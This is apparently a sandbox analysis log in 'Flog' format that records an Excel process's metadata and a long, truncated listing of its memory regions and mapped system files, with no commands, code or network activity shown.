# Flog Txt Version 1 # Analyzer Version: 2.3.2 # Analyzer Build Date: Oct 25 2018 12:55:11 # Log Creation Date: 01.11.2018 09:26:26.139 Process: id = "1" image_name = "excel.exe" filename = "c:\\program files\\microsoft office\\root\\office16\\excel.exe" page_root = "0x30a7d000" os_pid = "0x928" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\EXCEL.EXE\"" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 134 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 135 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 136 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 137 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 138 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 139 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 140 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 141 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 142 start_va = 0xf0000 end_va = 0xf6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 143 start_va = 0x100000 end_va = 0x101fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 144 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 145 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 146 start_va = 0x130000 end_va = 0x132fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 147 start_va = 0x140000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 148 start_va = 0x150000 end_va = 0x152fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 149 start_va = 0x160000 end_va = 0x162fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 150 start_va = 0x170000 end_va = 0x172fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 151 start_va = 0x180000 end_va = 0x182fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000180000" filename = "" Region: id = 152 start_va = 0x190000 end_va = 0x28ffff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 153 start_va = 0x290000 end_va = 0x292fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000290000" filename = "" Region: id = 154 start_va = 0x2a0000 end_va = 0x2a1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 155 start_va = 0x2b0000 end_va = 0x2b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002b0000" filename = "" Region: id = 156 start_va = 0x2c0000 end_va = 0x2c0fff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 157 start_va = 0x2d0000 end_va = 0x30ffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 158 start_va = 0x310000 end_va = 0x310fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000310000" filename = "" Region: id = 159 start_va = 0x320000 end_va = 0x320fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 160 start_va = 0x330000 end_va = 0x33ffff entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 161 start_va = 0x340000 end_va = 0x340fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000340000" filename = "" Region: id = 162 start_va = 0x350000 end_va = 0x44ffff entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 163 start_va = 0x450000 end_va = 0x54ffff entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 164 start_va = 0x550000 end_va = 0x554fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Region: id = 165 start_va = 0x560000 end_va = 0x560fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000560000" filename = "" Region: id = 166 start_va = 0x570000 end_va = 0x57ffff entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 167 start_va = 0x580000 end_va = 0x581fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000580000" filename = "" Region: id = 168 start_va = 0x590000 end_va = 0x59bfff entry_point = 0x590000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 169 start_va = 0x5a0000 end_va = 0x5a7fff entry_point = 0x5a0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 170 start_va = 0x5b0000 end_va = 0x5bffff entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 171 start_va = 0x5c0000 end_va = 0x5cffff entry_point = 0x5c0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 172 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 173 start_va = 0x5e0000 end_va = 0x5e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 174 start_va = 0x5f0000 end_va = 0x5fffff entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 175 start_va = 0x600000 end_va = 0x787fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 176 start_va = 0x790000 end_va = 0x910fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000790000" filename = "" Region: id = 177 start_va = 0x920000 end_va = 0x1d1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000920000" filename = "" Region: id = 178 start_va = 0x1d20000 end_va = 0x1feefff entry_point = 0x1d20000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 179 start_va = 0x1ff0000 end_va = 0x23e2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ff0000" filename = "" Region: id = 180 start_va = 0x23f0000 end_va = 0x24effff entry_point = 0x0 region_type = private name = "private_0x00000000023f0000" filename = "" Region: id = 181 start_va = 0x24f0000 end_va = 0x26effff entry_point = 0x0 region_type = private name = "private_0x00000000024f0000" filename = "" Region: id = 182 start_va = 0x26f0000 end_va = 0x26f0fff entry_point = 0x0 region_type = private name = "private_0x00000000026f0000" filename = "" Region: id = 183 start_va = 0x2700000 end_va = 0x2700fff entry_point = 0x0 region_type = private name = "private_0x0000000002700000" filename = "" Region: id = 184 start_va = 0x2710000 end_va = 0x2710fff entry_point = 0x0 region_type = private name = "private_0x0000000002710000" filename = "" Region: id = 185 start_va = 0x2720000 end_va = 0x2720fff entry_point = 0x0 region_type = private name = "private_0x0000000002720000" filename = "" Region: id = 186 start_va = 0x2730000 end_va = 0x2730fff entry_point = 0x0 region_type = private name = "private_0x0000000002730000" filename = "" Region: id = 187 start_va = 0x2740000 end_va = 0x2740fff entry_point = 0x0 region_type = private name = "private_0x0000000002740000" filename = "" Region: id = 188 start_va = 0x2750000 end_va = 0x2751fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002750000" filename = "" Region: id = 189 start_va = 0x2760000 end_va = 0x27dffff entry_point = 0x0 region_type = private name = "private_0x0000000002760000" filename = "" Region: id = 190 start_va = 0x27e0000 end_va = 0x28befff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000027e0000" filename = "" Region: id = 191 start_va = 0x28c0000 end_va = 0x28c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000028c0000" filename = "" Region: id = 192 start_va = 0x28d0000 end_va = 0x28d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000028d0000" filename = "" Region: id = 193 start_va = 0x28e0000 end_va = 0x29dffff entry_point = 0x0 region_type = private name = "private_0x00000000028e0000" filename = "" Region: id = 194 start_va = 0x29e0000 end_va = 0x29fffff entry_point = 0x29e0000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000017.db" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000017.db") Region: id = 195 start_va = 0x2a00000 end_va = 0x2afffff entry_point = 0x0 region_type = private name = "private_0x0000000002a00000" filename = "" Region: id = 196 start_va = 0x2b00000 end_va = 0x3b47fff entry_point = 0x2b00000 region_type = mapped_file name = "xlintl32.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\1033\\XLINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\xlintl32.dll") Region: id = 197 start_va = 0x3b50000 end_va = 0x3c4ffff entry_point = 0x0 region_type = private name = "private_0x0000000003b50000" filename = "" Region: id = 198 start_va = 0x3c50000 end_va = 0x3c51fff entry_point = 0x0 region_type = private name = "private_0x0000000003c50000" filename = "" Region: id = 199 start_va = 0x3c60000 end_va = 0x3c71fff entry_point = 0x0 region_type = private name = "private_0x0000000003c60000" filename = "" Region: id = 200 start_va = 0x3c80000 end_va = 0x3c80fff entry_point = 0x0 region_type = private name = "private_0x0000000003c80000" filename = "" Region: id = 201 start_va = 0x3c90000 end_va = 0x3d8ffff entry_point = 0x0 region_type = private name = "private_0x0000000003c90000" filename = "" Region: id = 202 start_va = 0x3d90000 end_va = 0x3d91fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003d90000" filename = "" Region: id = 203 start_va = 0x3da0000 end_va = 0x3e9ffff entry_point = 0x0 region_type = private name = "private_0x0000000003da0000" filename = "" Region: id = 204 start_va = 0x3ea0000 end_va = 0x3ea0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ea0000" filename = "" Region: id = 205 start_va = 0x3eb0000 end_va = 0x3eb1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003eb0000" filename = "" Region: id = 206 start_va = 0x3ec0000 end_va = 0x3ec1fff entry_point = 0x0 region_type = private name = "private_0x0000000003ec0000" filename = "" Region: id = 207 start_va = 0x3ed0000 end_va = 0x3ee0fff entry_point = 0x3ed0000 region_type = mapped_file name = "c_1255.nls" filename = "\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\windows\\system32\\c_1255.nls") Region: id = 208 start_va = 0x3ef0000 end_va = 0x3ef1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ef0000" filename = "" Region: id = 209 start_va = 0x3f00000 end_va = 0x3ffffff entry_point = 0x0 region_type = private name = "private_0x0000000003f00000" filename = "" Region: id = 210 start_va = 0x4000000 end_va = 0x4011fff entry_point = 0x0 region_type = private name = "private_0x0000000004000000" filename = "" Region: id = 211 start_va = 0x4020000 end_va = 0x4020fff entry_point = 0x0 region_type = private name = "private_0x0000000004020000" filename = "" Region: id = 212 start_va = 0x4030000 end_va = 0x4033fff entry_point = 0x4030000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 213 start_va = 0x4040000 end_va = 0x4041fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004040000" filename = "" Region: id = 214 start_va = 0x4050000 end_va = 0x4051fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004050000" filename = "" Region: id = 215 start_va = 0x4060000 end_va = 0x4060fff entry_point = 0x0 region_type = private name = "private_0x0000000004060000" filename = "" Region: id = 216 start_va = 0x4070000 end_va = 0x416ffff entry_point = 0x0 region_type = private name = "private_0x0000000004070000" filename = "" Region: id = 217 start_va = 0x4170000 end_va = 0x41eefff entry_point = 0x4170000 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 218 start_va = 0x41f0000 end_va = 0x41f3fff entry_point = 0x41f0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 219 start_va = 0x4200000 end_va = 0x4200fff entry_point = 0x0 region_type = private name = "private_0x0000000004200000" filename = "" Region: id = 220 start_va = 0x4210000 end_va = 0x4210fff entry_point = 0x0 region_type = private name = "private_0x0000000004210000" filename = "" Region: id = 221 start_va = 0x4220000 end_va = 0x431ffff entry_point = 0x0 region_type = private name = "private_0x0000000004220000" filename = "" Region: id = 222 start_va = 0x4320000 end_va = 0x441ffff entry_point = 0x0 region_type = private name = "private_0x0000000004320000" filename = "" Region: id = 223 start_va = 0x4420000 end_va = 0x4420fff entry_point = 0x0 region_type = private name = "private_0x0000000004420000" filename = "" Region: id = 224 start_va = 0x4430000 end_va = 0x4430fff entry_point = 0x0 region_type = private name = "private_0x0000000004430000" filename = "" Region: id = 225 start_va = 0x4440000 end_va = 0x4440fff entry_point = 0x0 region_type = private name = "private_0x0000000004440000" filename = "" Region: id = 226 start_va = 0x4450000 end_va = 0x4450fff entry_point = 0x0 region_type = private name = "private_0x0000000004450000" filename = "" Region: id = 227 start_va = 0x4460000 end_va = 0x446ffff entry_point = 0x0 region_type = private name = "private_0x0000000004460000" filename = "" Region: id = 228 start_va = 0x4470000 end_va = 0x4470fff entry_point = 0x0 region_type = private name = "private_0x0000000004470000" filename = "" Region: id = 229 start_va = 0x4480000 end_va = 0x4480fff entry_point = 0x0 region_type = private name = "private_0x0000000004480000" filename = "" Region: id = 230 start_va = 0x4490000 end_va = 0x4490fff entry_point = 0x0 region_type = private name = "private_0x0000000004490000" filename = "" Region: id = 231 start_va = 0x44a0000 end_va = 0x44a1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000044a0000" filename = "" Region: id = 232 start_va = 0x44b0000 end_va = 0x45affff entry_point = 0x0 region_type = private name = "private_0x00000000044b0000" filename = "" Region: id = 233 start_va = 0x45b0000 end_va = 0x45bcfff entry_point = 0x45b0000 region_type = mapped_file name = "comdlg32.dll.mui" filename = "\\Windows\\System32\\en-US\\comdlg32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\comdlg32.dll.mui") Region: id = 234 start_va = 0x45c0000 end_va = 0x45c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000045c0000" filename = "" Region: id = 235 start_va = 0x45d0000 end_va = 0x464ffff entry_point = 0x0 region_type = private name = "private_0x00000000045d0000" filename = "" Region: id = 236 start_va = 0x4650000 end_va = 0x4a4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004650000" filename = "" Region: id = 237 start_va = 0x4a50000 end_va = 0x4e4ffff entry_point = 0x0 region_type = private name = "private_0x0000000004a50000" filename = "" Region: id = 238 start_va = 0x4e50000 end_va = 0x4e51fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004e50000" filename = "" Region: id = 239 start_va = 0x4e60000 end_va = 0x4e61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004e60000" filename = "" Region: id = 240 start_va = 0x4e70000 end_va = 0x4e70fff entry_point = 0x0 region_type = private name = "private_0x0000000004e70000" filename = "" Region: id = 241 start_va = 0x4e80000 end_va = 0x4e80fff entry_point = 0x0 region_type = private name = "private_0x0000000004e80000" filename = "" Region: id = 242 start_va = 0x4e90000 end_va = 0x4e90fff entry_point = 0x0 region_type = private name = "private_0x0000000004e90000" filename = "" Region: id = 243 start_va = 0x4ea0000 end_va = 0x4f9ffff entry_point = 0x0 region_type = private name = "private_0x0000000004ea0000" filename = "" Region: id = 244 start_va = 0x4fa0000 end_va = 0x4fa0fff entry_point = 0x0 region_type = private name = "private_0x0000000004fa0000" filename = "" Region: id = 245 start_va = 0x4fb0000 end_va = 0x4fb0fff entry_point = 0x0 region_type = private name = "private_0x0000000004fb0000" filename = "" Region: id = 246 start_va = 0x4fc0000 end_va = 0x4fc2fff entry_point = 0x0 region_type = private name = "private_0x0000000004fc0000" filename = "" Region: id = 247 start_va = 0x4fd0000 end_va = 0x50cffff entry_point = 0x0 region_type = private name = "private_0x0000000004fd0000" filename = "" Region: id = 248 start_va = 0x50d0000 end_va = 0x50d0fff entry_point = 0x0 region_type = private name = "private_0x00000000050d0000" filename = "" Region: id = 249 start_va = 0x50e0000 end_va = 0x510ffff entry_point = 0x50e0000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000001c.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db") Region: id = 250 start_va = 0x5110000 end_va = 0x5112fff entry_point = 0x0 region_type = private name = "private_0x0000000005110000" filename = "" Region: id = 251 start_va = 0x5120000 end_va = 0x519ffff entry_point = 0x0 region_type = private name = "private_0x0000000005120000" filename = "" Region: id = 252 start_va = 0x51a0000 end_va = 0x529ffff entry_point = 0x0 region_type = private name = "private_0x00000000051a0000" filename = "" Region: id = 253 start_va = 0x52a0000 end_va = 0x535ffff entry_point = 0x52a0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 254 start_va = 0x5360000 end_va = 0x545ffff entry_point = 0x0 region_type = private name = "private_0x0000000005360000" filename = "" Region: id = 255 start_va = 0x5460000 end_va = 0x550afff entry_point = 0x5460000 region_type = mapped_file name = "tahoma.ttf" filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf") Region: id = 256 start_va = 0x5510000 end_va = 0x5512fff entry_point = 0x0 region_type = private name = "private_0x0000000005510000" filename = "" Region: id = 257 start_va = 0x5520000 end_va = 0x5522fff entry_point = 0x0 region_type = private name = "private_0x0000000005520000" filename = "" Region: id = 258 start_va = 0x5530000 end_va = 0x553ffff entry_point = 0x0 region_type = private name = "private_0x0000000005530000" filename = "" Region: id = 259 start_va = 0x5540000 end_va = 0x554ffff entry_point = 0x0 region_type = private name = "private_0x0000000005540000" filename = "" Region: id = 260 start_va = 0x5550000 end_va = 0x5550fff entry_point = 0x0 region_type = private name = "private_0x0000000005550000" filename = "" Region: id = 261 start_va = 0x5560000 end_va = 0x5561fff entry_point = 0x0 region_type = private name = "private_0x0000000005560000" filename = "" Region: id = 262 start_va = 0x5570000 end_va = 0x5570fff entry_point = 0x0 region_type = private name = "private_0x0000000005570000" filename = "" Region: id = 263 start_va = 0x5580000 end_va = 0x5581fff entry_point = 0x0 region_type = private name = "private_0x0000000005580000" filename = "" Region: id = 264 start_va = 0x5590000 end_va = 0x55d7fff entry_point = 0x0 region_type = private name = "private_0x0000000005590000" filename = "" Region: id = 265 start_va = 0x55e0000 end_va = 0x56dffff entry_point = 0x0 region_type = private name = "private_0x00000000055e0000" filename = "" Region: id = 266 start_va = 0x56e0000 end_va = 0x5edffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000056e0000" filename = "" Region: id = 267 start_va = 0x5ee0000 end_va = 0x6222fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005ee0000" filename = "" Region: id = 268 start_va = 0x6230000 end_va = 0x6277fff entry_point = 0x0 region_type = private name = "private_0x0000000006230000" filename = "" Region: id = 269 start_va = 0x6280000 end_va = 0x6281fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006280000" filename = "" Region: id = 270 start_va = 0x6290000 end_va = 0x6290fff entry_point = 0x0 region_type = private name = "private_0x0000000006290000" filename = "" Region: id = 271 start_va = 0x62a0000 end_va = 0x62a0fff entry_point = 0x0 region_type = private name = "private_0x00000000062a0000" filename = "" Region: id = 272 start_va = 0x62b0000 end_va = 0x62b0fff entry_point = 0x0 region_type = private name = "private_0x00000000062b0000" filename = "" Region: id = 273 start_va = 0x62c0000 end_va = 0x62c3fff entry_point = 0x62c0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 274 start_va = 0x62d0000 end_va = 0x62d0fff entry_point = 0x62d0000 region_type = mapped_file name = "{40fc8d7d-05ed-4feb-b03b-6c100659ef5c}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{40FC8D7D-05ED-4FEB-B03B-6C100659EF5C}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{40fc8d7d-05ed-4feb-b03b-6c100659ef5c}.2.ver0x0000000000000001.db") Region: id = 275 start_va = 0x62e0000 end_va = 0x63dffff entry_point = 0x0 region_type = private name = "private_0x00000000062e0000" filename = "" Region: id = 276 start_va = 0x63e0000 end_va = 0x64dffff entry_point = 0x0 region_type = private name = "private_0x00000000063e0000" filename = "" Region: id = 277 start_va = 0x64e0000 end_va = 0x64e0fff entry_point = 0x0 region_type = private name = "private_0x00000000064e0000" filename = "" Region: id = 278 start_va = 0x64f0000 end_va = 0x64f0fff entry_point = 0x0 region_type = private name = "private_0x00000000064f0000" filename = "" Region: id = 279 start_va = 0x6500000 end_va = 0x657ffff entry_point = 0x0 region_type = private name = "private_0x0000000006500000" filename = "" Region: id = 280 start_va = 0x6580000 end_va = 0x6580fff entry_point = 0x0 region_type = private name = "private_0x0000000006580000" filename = "" Region: id = 281 start_va = 0x6590000 end_va = 0x660ffff entry_point = 0x0 region_type = private name = "private_0x0000000006590000" filename = "" Region: id = 282 start_va = 0x6610000 end_va = 0x670ffff entry_point = 0x0 region_type = private name = "private_0x0000000006610000" filename = "" Region: id = 283 start_va = 0x6710000 end_va = 0x6710fff entry_point = 0x0 region_type = private name = "private_0x0000000006710000" filename = "" Region: id = 284 start_va = 0x6720000 end_va = 0x6720fff entry_point = 0x0 region_type = private name = "private_0x0000000006720000" filename = "" Region: id = 285 start_va = 0x6730000 end_va = 0x6730fff entry_point = 0x0 region_type = private name = "private_0x0000000006730000" filename = "" Region: id = 286 start_va = 0x6740000 end_va = 0x6740fff entry_point = 0x0 region_type = private name = "private_0x0000000006740000" filename = "" Region: id = 287 start_va = 0x6750000 end_va = 0x6750fff entry_point = 0x0 region_type = private name = "private_0x0000000006750000" filename = "" Region: id = 288 start_va = 0x6760000 end_va = 0x6760fff entry_point = 0x0 region_type = private name = "private_0x0000000006760000" filename = "" Region: id = 289 start_va = 0x6770000 end_va = 0x67effff entry_point = 0x0 region_type = private name = "private_0x0000000006770000" filename = "" Region: id = 290 start_va = 0x67f0000 end_va = 0x68effff entry_point = 0x0 region_type = private name = "private_0x00000000067f0000" filename = "" Region: id = 291 start_va = 0x68f0000 end_va = 0x69effff entry_point = 0x0 region_type = private name = "private_0x00000000068f0000" filename = "" Region: id = 292 start_va = 0x69f0000 end_va = 0x69f0fff entry_point = 0x0 region_type = private name = "private_0x00000000069f0000" filename = "" Region: id = 293 start_va = 0x6a00000 end_va = 0x6a00fff entry_point = 0x0 region_type = private name = "private_0x0000000006a00000" filename = "" Region: id = 294 start_va = 0x6a10000 end_va = 0x6a10fff entry_point = 0x0 region_type = private name = "private_0x0000000006a10000" filename = "" Region: id = 295 start_va = 0x6a20000 end_va = 0x6a20fff entry_point = 0x0 region_type = private name = "private_0x0000000006a20000" filename = "" Region: id = 296 start_va = 0x6a30000 end_va = 0x6a30fff entry_point = 0x0 region_type = private name = "private_0x0000000006a30000" filename = "" Region: id = 297 start_va = 0x6a40000 end_va = 0x6a40fff entry_point = 0x0 region_type = private name = "private_0x0000000006a40000" filename = "" Region: id = 298 start_va = 0x6a50000 end_va = 0x6b4ffff entry_point = 0x0 region_type = private name = "private_0x0000000006a50000" filename = "" Region: id = 299 start_va = 0x6b50000 end_va = 0x6b53fff entry_point = 0x6b50000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 300 start_va = 0x6b60000 end_va = 0x6c5ffff entry_point = 0x0 region_type = private name = "private_0x0000000006b60000" filename = "" Region: id = 301 start_va = 0x6c60000 end_va = 0x6cdffff entry_point = 0x0 region_type = private name = "private_0x0000000006c60000" filename = "" Region: id = 302 start_va = 0x6ce0000 end_va = 0x6ddffff entry_point = 0x0 region_type = private name = "private_0x0000000006ce0000" filename = "" Region: id = 303 start_va = 0x6de0000 end_va = 0x6de0fff entry_point = 0x6de0000 region_type = mapped_file name = "{0448dc77-1f74-49f5-ba7e-8de74fa55642}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{0448DC77-1F74-49F5-BA7E-8DE74FA55642}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{0448dc77-1f74-49f5-ba7e-8de74fa55642}.2.ver0x0000000000000001.db") Region: id = 304 start_va = 0x6df0000 end_va = 0x6df3fff entry_point = 0x6df0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 305 start_va = 0x6e00000 end_va = 0x6e00fff entry_point = 0x6e00000 region_type = mapped_file name = "{9d8c497c-611a-4408-acad-eadee99a69bf}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{9D8C497C-611A-4408-ACAD-EADEE99A69BF}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{9d8c497c-611a-4408-acad-eadee99a69bf}.2.ver0x0000000000000001.db") Region: id = 306 start_va = 0x6e10000 end_va = 0x6e10fff entry_point = 0x0 region_type = private name = "private_0x0000000006e10000" filename = "" Region: id = 307 start_va = 0x6e20000 end_va = 0x6e27fff entry_point = 0x0 region_type = private name = "private_0x0000000006e20000" filename = "" Region: id = 308 start_va = 0x6e30000 end_va = 0x6e30fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006e30000" filename = "" Region: id = 309 start_va = 0x6e40000 end_va = 0x763ffff entry_point = 0x0 region_type = private name = "private_0x0000000006e40000" filename = "" Region: id = 310 start_va = 0x7640000 end_va = 0x7e3ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007640000" filename = "" Region: id = 311 start_va = 0x7e40000 end_va = 0x7ea5fff entry_point = 0x7e40000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 312 start_va = 0x7eb0000 end_va = 0x7eb0fff entry_point = 0x7eb0000 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\System32\\oleaccrc.dll" (normalized: 